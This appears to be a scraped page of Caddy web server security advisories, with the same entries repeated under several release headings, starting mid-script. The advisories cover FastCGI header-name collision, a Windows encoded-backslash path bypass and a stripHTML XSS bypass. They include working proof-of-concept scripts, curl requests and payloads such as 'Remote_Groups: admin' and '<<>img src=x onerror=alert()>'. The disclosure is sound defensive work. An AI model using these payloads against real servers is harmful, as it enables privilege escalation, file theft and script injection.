			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Sep 08, 2017

v0.10.7 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Aug 25, 2017

v0.10.6 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
